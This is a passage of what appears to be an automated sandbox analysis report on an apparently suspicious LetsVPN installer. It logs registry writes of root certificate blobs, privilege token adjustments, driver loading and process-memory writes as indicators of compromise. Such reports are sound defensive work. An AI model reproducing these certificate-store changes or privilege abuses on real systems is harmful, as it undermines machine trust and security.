86753a0300d06092a864886f70d01010c050003820201008325ede8d1fd9552cd9ec004a09169e65cd084dedcada24fe84778d66598a95ba83c877c028ad16eb71673e65fc05498d574bec1cde21191ad23183ddde1724496b4955ec07b8e99781643135657b3a2b33bb577dc4072aca3eb9b353eb10821a1e7c443377932beb5e79c2c4cbc4329998e30d3ac21e0e31dfad80733765400222ab94d202e7068dae553fc835cd39df2ff440c4466f2d2e3bd46001a6d02ba255d8da13151dd54461c4ddb9996ef1a1c045ca615ef78e079fe5ddb3eaa4c55fd9a15a96fe1a6fbdf7030e9c3ee4246edc2930589fa7d637b3fd071817c00e898ae0e7834c325fbaf0a9f206bdd3b138f128ce2411a487a73a07769c7b65c7f82c81efe581b282ba86cad5e6dc005d27bb7eb80fe2537fe029b68ac425dc3eef5ccdcf05075d236699ce67b04df6e0669b6de0a09485987eb7b14607a64aa6943ef91c74cec18dd6cef532d8c99e15ef2723ecf54c8bd67eca40f4c45ffd3b93023074c8f10bf8696d9995ab499571ca4ccbb158953ba2c050fe4c49e19b11834d54c9dbaedf71faf24950478a803bbee81e5da5f7c8b4aa1907425a7b33e4bc82c56bdc7c8ef38e25c92f079f79c84ba742d6101207e7ed1f24f07595f8b2d4352eb460c94e1f566477977d5545b1fad2437cb455a4ea04448c8d8b099c5158409f6d64949c065b8e61a716ea0a8f182e8453e6cd602d70a6783055ac9a410 LetsPRO.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\8094640EB5A7A1CA119C1FDDD59F810263A7FBD1\Blob = 190000000100000010000000cb9dd0fceaaa492f75ce292c21bbfbdd0f0000000100000030000000ea09c51d4c3a334ce4acd2bc08c6a9be352e334f45c4fccfcab63edb9f82dc87d4bd2ed2fadae11163fb954809984ff153000000010000007e000000307c301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301f06092b06010401a032010230123010060a2b0601040182373c0101030200c0301b060567810c010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000056000000305406082b0601050507030206082b06010505070303060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030906082b0601050507030106082b060105050703080b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d0020005200360000006200000001000000200000002cabeafe37d06ca22aba7391c0033d25982952c453647349763a3ab5ad6ccf697f0000000100000016000000301406082b0601050507030306082b06010505070309140000000100000014000000ae6c05a39313e2a2e7e2d71cd6c7f07fc86753a01d0000000100000010000000521f5c98970d19a8e515ef6eeb6d48ef7a000000010000000c000000300a06082b060105050703097e00000001000000080000000080c82b6886d7010300000001000000140000008094640eb5a7a1ca119c1fddd59f810263a7fbd1200000000100000087050000308205833082036ba003020102020e45e6bb038333c3856548e6ff4551300d06092a864886f70d01010c0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523631133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3134313231303030303030305a170d3334313231303030303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523631133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820222300d06092a864886f70d01010105000382020f003082020a02820201009507e873ca66f9ec14ca7b3cf70d08f1b4450b2c82b448c6eb5b3cae83b841923314a46f7fe92accc6b0886bc5b689d1c6b2ff14ce511421ec4add1b5ac6d687ee4d3a1506ed64660b9280ca44de73944ef3a7897f4f786308c812506d42662f4db979284d521a8a1a80b719810e7ec48abc644c211c4368d73d3c8ac5b266d5909ab73106c5bee26d3206a61ef9b9ebaaa3b8bfbe826350d0f01889dfe40f79f5eaa21f2ad2702e7be7bc93bb6d53e2487c8c100738ff66b277617ee0ea8c3caab4a4f6f3954a12076dfd8cb289cfd0a06177c85874b0d4233af75d3acaa2db9d09de5d442d90f181cd5792fa7ebc50046334df6b9318be6b36b239e4ac2436b7f0efb61c135793b6deb2f8e285b773a2b835aa45f2e09d36a16f548af172566e2e88c55142441594eea3c538969b4e4e5a0b47f30636497730bc7137e5a6ec210875fce661163f77d5d99197840a6cd4024d74c014edfd39fb83f25e14a104b00be9feee8fe16e0bb208b36166096ab1063a659659c0f035fdc9da288d1a118770810aa89a751d9e3a8605009edb80d625f9dc059e27594c76395beaf9a5a1d8830fd1ffdf3011f985cf3348f5ca6d64142c7a584fd34b0849c595641a630e793df5b38cca58ad9c4245796e0e87195c54b165b6bf8c9bdc13e90d6fb82edc676ec98b11b584148a0019708379919791d41a27bf371e3207d814633c284caf0203010001a3633061300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414ae6c05a39313e2a2e7e2d71cd6c7f07fc86753a0301f0603551d23041830168014ae6c05a39313e2a2e7e2d71cd6c7f07fc86753a0300d06092a864886f70d01010c050003820201008325ede8d1fd9552cd9ec004a09169e65cd084dedcada24fe84778d66598a95ba83c877c028ad16eb71673e65fc05498d574bec1cde21191ad23183ddde1724496b4955ec07b8e99781643135657b3a2b33bb577dc4072aca3eb9b353eb10821a1e7c443377932beb5e79c2c4cbc4329998e30d3ac21e0e31dfad80733765400222ab94d202e7068dae553fc835cd39df2ff440c4466f2d2e3bd46001a6d02ba255d8da13151dd54461c4ddb9996ef1a1c045ca615ef78e079fe5ddb3eaa4c55fd9a15a96fe1a6fbdf7030e9c3ee4246edc2930589fa7d637b3fd071817c00e898ae0e7834c325fbaf0a9f206bdd3b138f128ce2411a487a73a07769c7b65c7f82c81efe581b282ba86cad5e6dc005d27bb7eb80fe2537fe029b68ac425dc3eef5ccdcf05075d236699ce67b04df6e0669b6de0a09485987eb7b14607a64aa6943ef91c74cec18dd6cef532d8c99e15ef2723ecf54c8bd67eca40f4c45ffd3b93023074c8f10bf8696d9995ab499571ca4ccbb158953ba2c050fe4c49e19b11834d54c9dbaedf71faf24950478a803bbee81e5da5f7c8b4aa1907425a7b33e4bc82c56bdc7c8ef38e25c92f079f79c84ba742d6101207e7ed1f24f07595f8b2d4352eb460c94e1f566477977d5545b1fad2437cb455a4ea04448c8d8b099c5158409f6d64949c065b8e61a716ea0a8f182e8453e6cd602d70a6783055ac9a410 LetsPRO.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8 LetsPRO.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8\Blob = 0f0000000100000030000000c130bba37b8b350e89fd5ed76b4f78777feee220d3b9e729042bef6af46e8e4c1b252e32b3080c681bc9a8a1afdd0a3c0b000000010000004200000047006c006f00620061006c005300690067006e00200043006f006400650020005300690067006e0069006e006700200052006f006f007400200052003400350000006200000001000000200000007b9d553e1c92cb6e8803e137f4f287d4363757f5d44b37d52f9fca22fb97df8653000000010000001f000000301d301b060567810c010330123010060a2b0601040182373c0101030200c01400000001000000140000001f00bf46800afc7839b7a5b443d95650bbce963b1d00000001000000100000005467b0adde8d858e30ee517b1a19ecd909000000010000000c000000300a06082b060105050703030300000001000000140000004efc31460c619ecae59c1bce2c008036d94c84b8200000000100000076050000308205723082035aa00302010202107653feac75464893f5e5d74a483a4ef8300d06092a864886f70d01010c05003053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f7420523435301e170d3230303331383030303030305a170d3435303331383030303030305a3053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f742052343530820222300d06092a864886f70d01010105000382020f003082020a0282020100b62dc530dd7ae8ab903d0372b03a4b991661b2e5ffa5671d371ce57eec9383aa84f5a3439b98458ab863575d9b00880425e9f868924b82d84bc94a03f3a87f6a8f8a6127bda144d0fdf53f22c2a34f918db305b22882915dfb5988050b9706c298f82ca73324ee503a41ccf0a0b07b1d4dd2a8583896e9dff91b91bb8b102cd2c7431da20974a180af7be6330a0c596b8ebcf4ab5a977b7fae55fb84f080fe844cd7e2babdc475a16fbd61107444b29807e274abff68dc6c263ee91fe5e00487ad30d30c8d037c55b816705c24782025eb676788abba4e34986b7011de38cad4bea1c09ce1df1e0201d83be1674384b6cffc74b72f84a3bfba09373d676cb1455c1961ab4183f5ac1deb770d464773cebfbd9595ed9d2b8810fefa58e8a757e1b3cfa85ae907259b12c49e80723d93dc8c94df3b44e62680fcd2c303f08c0cd245d62ee78f989ee604ee426e677e42167162e704f960c664a1b69c81214e2bc66d689486c699747367317a91f2d48c796e7ca6bb7e466f4dc585122bcf9a224408a88537ce07615706171224c0c43173a1983557477e103a45d92da4519098a9a00737c4651aaa1c6b1677f7a797ec3f1930996f31fbea40b2e7d2c4fac9d0f050767459fa8d6d1732bef8e97e03f4e787759ad44a912c850313022b4280f2896a36cfc84ca0ce9ef8cb8dad16a7d3ded59b18a7c6923af18263f12e0e2464df0203010001a3423040300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e041604141f00bf46800afc7839b7a5b443d95650bbce963b300d06092a864886f70d01010c050003820201005e2bba749734445f764828408493ee016ee9a1b3d68025e67be4bc09913d0ffc76add7d43020bb8f60d091d61cf29cef781a2b943202c12496525202d0f3d1fcf29b396e99e11f8e43417d9a1e5bc95d9a84fc26e687f3747226ada41bd93d3b6a52a03c091e2f1e7bb333b445c7f7acb1af9360ad76aeb8b21578eb836aebffdb46ab24e5ee02fa901f59c02f5dd6b75da45c10b77253f8414eccfa781a254acafe85624361c3b437aa81d2f4d63a0fbd8d597e3047de2b6be72150335fd4679bd4b8679f3c279903ff85438e7312ca20cde861d5b166dc17d6396d0fdbcf2337a182894e1c6b3fd6a0cdaa079d3e4226aad70ceefa47bf1a527ed17581d3c98a62176d4f88a021a0263eaf6dd962301fe99828ae6e8dd58e4c726693808d2ae355c760679042565c22510fb3dc4e39ee4dddd91d7810543b6ed0976f03b51eb22373c612b29a64d0fc958524a8ffdfa1b0dc9140aedf0933abb9dd92b7f1cc91743b69eb67971b90bfe7c7a06f71bb57bfb78f5aed7a406a16cd80842d2fe102d4249443b315fc0c2b1bfd716ffccbbc75173a5e83d2c9b32f1bd59c8d7f54fe7e7ee456a387a79de1595294418f6d5bbe86959aff1a76dd40d2514a70b41f336323773fec271e59e40887ed34824a0f3ffea01dc1f56773458678f4aa29e92787c619dbc61314c33949874da097e06513f59d7756e9dab358c73af2c0cd82 LetsPRO.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8\Blob = 1900000001000000100000005d1b8ff2c30f63f5b536edd400f7f9b40300000001000000140000004efc31460c619ecae59c1bce2c008036d94c84b809000000010000000c000000300a06082b060105050703031d00000001000000100000005467b0adde8d858e30ee517b1a19ecd91400000001000000140000001f00bf46800afc7839b7a5b443d95650bbce963b53000000010000001f000000301d301b060567810c010330123010060a2b0601040182373c0101030200c06200000001000000200000007b9d553e1c92cb6e8803e137f4f287d4363757f5d44b37d52f9fca22fb97df860b000000010000004200000047006c006f00620061006c005300690067006e00200043006f006400650020005300690067006e0069006e006700200052006f006f007400200052003400350000000f0000000100000030000000c130bba37b8b350e89fd5ed76b4f78777feee220d3b9e729042bef6af46e8e4c1b252e32b3080c681bc9a8a1afdd0a3c200000000100000076050000308205723082035aa00302010202107653feac75464893f5e5d74a483a4ef8300d06092a864886f70d01010c05003053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f7420523435301e170d3230303331383030303030305a170d3435303331383030303030305a3053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f742052343530820222300d06092a864886f70d01010105000382020f003082020a0282020100b62dc530dd7ae8ab903d0372b03a4b991661b2e5ffa5671d371ce57eec9383aa84f5a3439b98458ab863575d9b00880425e9f868924b82d84bc94a03f3a87f6a8f8a6127bda144d0fdf53f22c2a34f918db305b22882915dfb5988050b9706c298f82ca73324ee503a41ccf0a0b07b1d4dd2a8583896e9dff91b91bb8b102cd2c7431da20974a180af7be6330a0c596b8ebcf4ab5a977b7fae55fb84f080fe844cd7e2babdc475a16fbd61107444b29807e274abff68dc6c263ee91fe5e00487ad30d30c8d037c55b816705c24782025eb676788abba4e34986b7011de38cad4bea1c09ce1df1e0201d83be1674384b6cffc74b72f84a3bfba09373d676cb1455c1961ab4183f5ac1deb770d464773cebfbd9595ed9d2b8810fefa58e8a757e1b3cfa85ae907259b12c49e80723d93dc8c94df3b44e62680fcd2c303f08c0cd245d62ee78f989ee604ee426e677e42167162e704f960c664a1b69c81214e2bc66d689486c699747367317a91f2d48c796e7ca6bb7e466f4dc585122bcf9a224408a88537ce07615706171224c0c43173a1983557477e103a45d92da4519098a9a00737c4651aaa1c6b1677f7a797ec3f1930996f31fbea40b2e7d2c4fac9d0f050767459fa8d6d1732bef8e97e03f4e787759ad44a912c850313022b4280f2896a36cfc84ca0ce9ef8cb8dad16a7d3ded59b18a7c6923af18263f12e0e2464df0203010001a3423040300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e041604141f00bf46800afc7839b7a5b443d95650bbce963b300d06092a864886f70d01010c050003820201005e2bba749734445f764828408493ee016ee9a1b3d68025e67be4bc09913d0ffc76add7d43020bb8f60d091d61cf29cef781a2b943202c12496525202d0f3d1fcf29b396e99e11f8e43417d9a1e5bc95d9a84fc26e687f3747226ada41bd93d3b6a52a03c091e2f1e7bb333b445c7f7acb1af9360ad76aeb8b21578eb836aebffdb46ab24e5ee02fa901f59c02f5dd6b75da45c10b77253f8414eccfa781a254acafe85624361c3b437aa81d2f4d63a0fbd8d597e3047de2b6be72150335fd4679bd4b8679f3c279903ff85438e7312ca20cde861d5b166dc17d6396d0fdbcf2337a182894e1c6b3fd6a0cdaa079d3e4226aad70ceefa47bf1a527ed17581d3c98a62176d4f88a021a0263eaf6dd962301fe99828ae6e8dd58e4c726693808d2ae355c760679042565c22510fb3dc4e39ee4dddd91d7810543b6ed0976f03b51eb22373c612b29a64d0fc958524a8ffdfa1b0dc9140aedf0933abb9dd92b7f1cc91743b69eb67971b90bfe7c7a06f71bb57bfb78f5aed7a406a16cd80842d2fe102d4249443b315fc0c2b1bfd716ffccbbc75173a5e83d2c9b32f1bd59c8d7f54fe7e7ee456a387a79de1595294418f6d5bbe86959aff1a76dd40d2514a70b41f336323773fec271e59e40887ed34824a0f3ffea01dc1f56773458678f4aa29e92787c619dbc61314c33949874da097e06513f59d7756e9dab358c73af2c0cd82 LetsPRO.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\8094640EB5A7A1CA119C1FDDD59F810263A7FBD1\Blob = 0400000001000000100000004fdd07e4d42264391e0c3742ead1c6ae0300000001000000140000008094640eb5a7a1ca119c1fddd59f810263a7fbd17e00000001000000080000000080c82b6886d7017a000000010000000c000000300a06082b060105050703091d0000000100000010000000521f5c98970d19a8e515ef6eeb6d48ef140000000100000014000000ae6c05a39313e2a2e7e2d71cd6c7f07fc86753a07f0000000100000016000000301406082b0601050507030306082b060105050703096200000001000000200000002cabeafe37d06ca22aba7391c0033d25982952c453647349763a3ab5ad6ccf690b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520036000000090000000100000056000000305406082b0601050507030206082b06010505070303060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030906082b0601050507030106082b0601050507030853000000010000007e000000307c301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301f06092b06010401a032010230123010060a2b0601040182373c0101030200c0301b060567810c010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000030000000ea09c51d4c3a334ce4acd2bc08c6a9be352e334f45c4fccfcab63edb9f82dc87d4bd2ed2fadae11163fb954809984ff1190000000100000010000000cb9dd0fceaaa492f75ce292c21bbfbdd200000000100000087050000308205833082036ba003020102020e45e6bb038333c3856548e6ff4551300d06092a864886f70d01010c0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523631133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3134313231303030303030305a170d3334313231303030303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523631133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820222300d06092a864886f70d01010105000382020f003082020a02820201009507e873ca66f9ec14ca7b3cf70d08f1b4450b2c82b448c6eb5b3cae83b841923314a46f7fe92accc6b0886bc5b689d1c6b2ff14ce511421ec4add1b5ac6d687ee4d3a1506ed64660b9280ca44de73944ef3a7897f4f786308c812506d42662f4db979284d521a8a1a80b719810e7ec48abc644c211c4368d73d3c8ac5b266d5909ab73106c5bee26d3206a61ef9b9ebaaa3b8bfbe826350d0f01889dfe40f79f5eaa21f2ad2702e7be7bc93bb6d53e2487c8c100738ff66b277617ee0ea8c3caab4a4f6f3954a12076dfd8cb289cfd0a06177c85874b0d4233af75d3acaa2db9d09de5d442d90f181cd5792fa7ebc50046334df6b9318be6b36b239e4ac2436b7f0efb61c135793b6deb2f8e285b773a2b835aa45f2e09d36a16f548af172566e2e88c55142441594eea3c538969b4e4e5a0b47f30636497730bc7137e5a6ec210875fce661163f77d5d99197840a6cd4024d74c014edfd39fb83f25e14a104b00be9feee8fe16e0bb208b36166096ab1063a659659c0f035fdc9da288d1a118770810aa89a751d9e3a8605009edb80d625f9dc059e27594c76395beaf9a5a1d8830fd1ffdf3011f985cf3348f5ca6d64142c7a584fd34b0849c595641a630e793df5b38cca58ad9c4245796e0e87195c54b165b6bf8c9bdc13e90d6fb82edc676ec98b11b584148a0019708379919791d41a27bf371e3207d814633c284caf0203010001a3633061300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414ae6c05a39313e2a2e7e2d71cd6c7f07fc86753a0301f0603551d23041830168014ae6c05a39313e2a2e7e2d71cd6c7f07fc86753a0300d06092a864886f70d01010c050003820201008325ede8d1fd9552cd9ec004a09169e65cd084dedcada24fe84778d66598a95ba83c877c028ad16eb71673e65fc05498d574bec1cde21191ad23183ddde1724496b4955ec07b8e99781643135657b3a2b33bb577dc4072aca3eb9b353eb10821a1e7c443377932beb5e79c2c4cbc4329998e30d3ac21e0e31dfad80733765400222ab94d202e7068dae553fc835cd39df2ff440c4466f2d2e3bd46001a6d02ba255d8da13151dd54461c4ddb9996ef1a1c045ca615ef78e079fe5ddb3eaa4c55fd9a15a96fe1a6fbdf7030e9c3ee4246edc2930589fa7d637b3fd071817c00e898ae0e7834c325fbaf0a9f206bdd3b138f128ce2411a487a73a07769c7b65c7f82c81efe581b282ba86cad5e6dc005d27bb7eb80fe2537fe029b68ac425dc3eef5ccdcf05075d236699ce67b04df6e0669b6de0a09485987eb7b14607a64aa6943ef91c74cec18dd6cef532d8c99e15ef2723ecf54c8bd67eca40f4c45ffd3b93023074c8f10bf8696d9995ab499571ca4ccbb158953ba2c050fe4c49e19b11834d54c9dbaedf71faf24950478a803bbee81e5da5f7c8b4aa1907425a7b33e4bc82c56bdc7c8ef38e25c92f079f79c84ba742d6101207e7ed1f24f07595f8b2d4352eb460c94e1f566477977d5545b1fad2437cb455a4ea04448c8d8b099c5158409f6d64949c065b8e61a716ea0a8f182e8453e6cd602d70a6783055ac9a410 LetsPRO.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\8094640EB5A7A1CA119C1FDDD59F810263A7FBD1\Blob = 5c000000010000000400000000100000190000000100000010000000cb9dd0fceaaa492f75ce292c21bbfbdd0f0000000100000030000000ea09c51d4c3a334ce4acd2bc08c6a9be352e334f45c4fccfcab63edb9f82dc87d4bd2ed2fadae11163fb954809984ff153000000010000007e000000307c301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301f06092b06010401a032010230123010060a2b0601040182373c0101030200c0301b060567810c010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000056000000305406082b0601050507030206082b06010505070303060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030906082b0601050507030106082b060105050703080b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d0020005200360000006200000001000000200000002cabeafe37d06ca22aba7391c0033d25982952c453647349763a3ab5ad6ccf697f0000000100000016000000301406082b0601050507030306082b06010505070309140000000100000014000000ae6c05a39313e2a2e7e2d71cd6c7f07fc86753a01d0000000100000010000000521f5c98970d19a8e515ef6eeb6d48ef7a000000010000000c000000300a06082b060105050703097e00000001000000080000000080c82b6886d7010300000001000000140000008094640eb5a7a1ca119c1fddd59f810263a7fbd10400000001000000100000004fdd07e4d42264391e0c3742ead1c6ae200000000100000087050000308205833082036ba003020102020e45e6bb038333c3856548e6ff4551300d06092a864886f70d01010c0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523631133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3134313231303030303030305a170d3334313231303030303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523631133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820222300d06092a864886f70d01010105000382020f003082020a02820201009507e873ca66f9ec14ca7b3cf70d08f1b4450b2c82b448c6eb5b3cae83b841923314a46f7fe92accc6b0886bc5b689d1c6b2ff14ce511421ec4add1b5ac6d687ee4d3a1506ed64660b9280ca44de73944ef3a7897f4f786308c812506d42662f4db979284d521a8a1a80b719810e7ec48abc644c211c4368d73d3c8ac5b266d5909ab73106c5bee26d3206a61ef9b9ebaaa3b8bfbe826350d0f01889dfe40f79f5eaa21f2ad2702e7be7bc93bb6d53e2487c8c100738ff66b277617ee0ea8c3caab4a4f6f3954a12076dfd8cb289cfd0a06177c85874b0d4233af75d3acaa2db9d09de5d442d90f181cd5792fa7ebc50046334df6b9318be6b36b239e4ac2436b7f0efb61c135793b6deb2f8e285b773a2b835aa45f2e09d36a16f548af172566e2e88c55142441594eea3c538969b4e4e5a0b47f30636497730bc7137e5a6ec210875fce661163f77d5d99197840a6cd4024d74c014edfd39fb83f25e14a104b00be9feee8fe16e0bb208b36166096ab1063a659659c0f035fdc9da288d1a118770810aa89a751d9e3a8605009edb80d625f9dc059e27594c76395beaf9a5a1d8830fd1ffdf3011f985cf3348f5ca6d64142c7a584fd34b0849c595641a630e793df5b38cca58ad9c4245796e0e87195c54b165b6bf8c9bdc13e90d6fb82edc676ec98b11b584148a0019708379919791d41a27bf371e3207d814633c284caf0203010001a3633061300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414ae6c05a39313e2a2e7e2d71cd6c7f07fc86753a0301f0603551d23041830168014ae6c05a39313e2a2e7e2d71cd6c7f07fc86753a0300d06092a864886f70d01010c050003820201008325ede8d1fd9552cd9ec004a09169e65cd084dedcada24fe84778d66598a95ba83c877c028ad16eb71673e65fc05498d574bec1cde21191ad23183ddde1724496b4955ec07b8e99781643135657b3a2b33bb577dc4072aca3eb9b353eb10821a1e7c443377932beb5e79c2c4cbc4329998e30d3ac21e0e31dfad80733765400222ab94d202e7068dae553fc835cd39df2ff440c4466f2d2e3bd46001a6d02ba255d8da13151dd54461c4ddb9996ef1a1c045ca615ef78e079fe5ddb3eaa4c55fd9a15a96fe1a6fbdf7030e9c3ee4246edc2930589fa7d637b3fd071817c00e898ae0e7834c325fbaf0a9f206bdd3b138f128ce2411a487a73a07769c7b65c7f82c81efe581b282ba86cad5e6dc005d27bb7eb80fe2537fe029b68ac425dc3eef5ccdcf05075d236699ce67b04df6e0669b6de0a09485987eb7b14607a64aa6943ef91c74cec18dd6cef532d8c99e15ef2723ecf54c8bd67eca40f4c45ffd3b93023074c8f10bf8696d9995ab499571ca4ccbb158953ba2c050fe4c49e19b11834d54c9dbaedf71faf24950478a803bbee81e5da5f7c8b4aa1907425a7b33e4bc82c56bdc7c8ef38e25c92f079f79c84ba742d6101207e7ed1f24f07595f8b2d4352eb460c94e1f566477977d5545b1fad2437cb455a4ea04448c8d8b099c5158409f6d64949c065b8e61a716ea0a8f182e8453e6cd602d70a6783055ac9a410 LetsPRO.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 System.exe - Suspicious behavior: EnumeratesProcesses 17 IoCs
pid Process 3320 powershell.exe 3320 powershell.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 4656 cloudflared_installer.tmp 4656 cloudflared_installer.tmp 1136 msiexec.exe 1136 msiexec.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe - Suspicious behavior: LoadsDriver 2 IoCs
pid Process 684 Process not Found 684 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3320 powershell.exe Token: SeAuditPrivilege 1560 svchost.exe Token: SeSecurityPrivilege 1560 svchost.exe Token: SeLoadDriverPrivilege 1884 tapinstall.exe Token: SeRestorePrivilege 3544 DrvInst.exe Token: SeBackupPrivilege 3544 DrvInst.exe Token: SeLoadDriverPrivilege 3544 DrvInst.exe Token: SeLoadDriverPrivilege 3544 DrvInst.exe Token: SeLoadDriverPrivilege 3544 DrvInst.exe Token: SeShutdownPrivilege 2632 msiexec.exe Token: SeIncreaseQuotaPrivilege 2632 msiexec.exe Token: SeSecurityPrivilege 1136 msiexec.exe Token: SeCreateTokenPrivilege 2632 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2632 msiexec.exe Token: SeLockMemoryPrivilege 2632 msiexec.exe Token: SeIncreaseQuotaPrivilege 2632 msiexec.exe Token: SeMachineAccountPrivilege 2632 msiexec.exe Token: SeTcbPrivilege 2632 msiexec.exe Token: SeSecurityPrivilege 2632 msiexec.exe Token: SeTakeOwnershipPrivilege 2632 msiexec.exe Token: SeLoadDriverPrivilege 2632 msiexec.exe Token: SeSystemProfilePrivilege 2632 msiexec.exe Token: SeSystemtimePrivilege 2632 msiexec.exe Token: SeProfSingleProcessPrivilege 2632 msiexec.exe Token: SeIncBasePriorityPrivilege 2632 msiexec.exe Token: SeCreatePagefilePrivilege 2632 msiexec.exe Token: SeCreatePermanentPrivilege 2632 msiexec.exe Token: SeBackupPrivilege 2632 msiexec.exe Token: SeRestorePrivilege 2632 msiexec.exe Token: SeShutdownPrivilege 2632 msiexec.exe Token: SeDebugPrivilege 2632 msiexec.exe Token: SeAuditPrivilege 2632 msiexec.exe Token: SeSystemEnvironmentPrivilege 2632 msiexec.exe Token: SeChangeNotifyPrivilege 2632 msiexec.exe Token: SeRemoteShutdownPrivilege 2632 msiexec.exe Token: SeUndockPrivilege 2632 msiexec.exe Token: SeSyncAgentPrivilege 2632 msiexec.exe Token: SeEnableDelegationPrivilege 2632 msiexec.exe Token: SeManageVolumePrivilege 2632 msiexec.exe Token: SeImpersonatePrivilege 2632 msiexec.exe Token: SeCreateGlobalPrivilege 2632 msiexec.exe Token: SeRestorePrivilege 1136 msiexec.exe Token: SeTakeOwnershipPrivilege 1136 msiexec.exe Token: SeRestorePrivilege 1136 msiexec.exe Token: SeTakeOwnershipPrivilege 1136 msiexec.exe Token: SeRestorePrivilege 1136 msiexec.exe Token: SeTakeOwnershipPrivilege 1136 msiexec.exe Token: SeRestorePrivilege 1136 msiexec.exe Token: SeTakeOwnershipPrivilege 1136 msiexec.exe Token: SeRestorePrivilege 1136 msiexec.exe Token: SeTakeOwnershipPrivilege 1136 msiexec.exe Token: SeRestorePrivilege 1136 msiexec.exe Token: SeTakeOwnershipPrivilege 1136 msiexec.exe Token: SeRestorePrivilege 1136 msiexec.exe Token: SeTakeOwnershipPrivilege 1136 msiexec.exe Token: SeRestorePrivilege 1136 msiexec.exe Token: SeTakeOwnershipPrivilege 1136 msiexec.exe Token: SeRestorePrivilege 1136 msiexec.exe Token: SeTakeOwnershipPrivilege 1136 msiexec.exe Token: SeRestorePrivilege 1136 msiexec.exe Token: SeTakeOwnershipPrivilege 1136 msiexec.exe Token: SeRestorePrivilege 1136 msiexec.exe Token: SeTakeOwnershipPrivilege 1136 msiexec.exe Token: SeRestorePrivilege 1136 msiexec.exe - Suspicious use of FindShellTrayWindow 8 IoCs
pid Process 4656 cloudflared_installer.tmp 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe - Suspicious use of SendNotifyMessage 7 IoCs
pid Process 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe - Suspicious use of WriteProcessMemory 33 IoCs
